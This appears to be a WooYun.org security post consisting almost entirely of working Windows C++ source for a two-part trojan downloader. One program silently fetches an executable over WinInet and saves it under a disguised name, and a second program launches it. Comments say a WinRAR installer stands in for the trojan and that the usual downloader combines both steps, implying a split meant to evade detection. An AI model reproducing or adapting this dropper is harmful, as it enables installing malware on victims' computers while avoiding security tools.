WooYun.org

// DownFile.cpp : 负责下载一个exe程序，这里我用winrar的安装包替代，
//文件很大演示的时候能看清步骤，如果是马的话瞬间就结束了。
#include "stdafx.h"
#include "Wininet.h"
#pragma   comment(lib,   "Wininet")
#define BUFLEN 16384
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	ULONG dwFlags;
	InternetGetConnectedState(&dwFlags,0);
	HINTERNET hOpen;
	if (dwFlags & INTERNET_CONNECTION_PROXY)
	{
		hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
	}
	else
	{
		hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	}
	if (!hOpen)
	{
		MessageBoxA(NULL,NULL,"Internet 连接错误",MB_OK);
		return -1;
	}
	ULONG dwSize;
	CHAR szHead[] = "Accept: */* \r\n\r\n";
	VOID * szTemp[BUFLEN];
	memset(szTemp,0,BUFLEN);
	HINTERNET hConnect;
	if (!(hConnect = InternetOpenUrlA(hOpen,"http://www.winrar.com.cn/download/wrar501sc.exe",szHead,lstrlenA(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE
		|INTERNET_FLAG_RELOAD,0)))
	{
		MessageBoxA(NULL,NULL,"URL出错",MB_OK);
		return -1;
	}
	
	HANDLE hFile = CreateFileA("whatsthis",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	if (hFile == NULL)
	{
		MessageBoxA(NULL,NULL,"创建文件出错",MB_OK);
		return -1;
	}
	ULONG dwByteToRead = 0;
	ULONG dwSizeOfRq = 4;
	ULONG dwBytes = 0;
	if (!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
	{
		dwByteToRead=0;
	}
	do 
	{
		if (!InternetReadFile(hConnect,szTemp,BUFLEN,&dwSize))
		{
			MessageBoxA(NULL,NULL,"读网络文件出错",MB_OK);
			CloseHandle(hFile);
			return -1;
		}
		if (dwSize == 0)//下载完就退出循环
		{
			break;
		}
		else
		{
			DWORD lpNumberOfBytesWritten=0;
			if (!WriteFile(hFile,szTemp,dwSize,&lpNumberOfBytesWritten,NULL))
			{
				MessageBoxA(NULL,NULL,"写文件出错",MB_OK);
			}
			dwBytes+=dwSize;	
		}
		
	} while (TRUE);
	CloseHandle(hFile);
//普通下载者会想办法在一个程序里执行这一步骤	
	//WinExec(".\\whatsthis",SW_SHOW);  
	return 0;
}
// ExecFile.cpp :负责运行下载下来的“马”
//
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	WinExec(".\\whatsthis",SW_SHOW);
	return 0;
}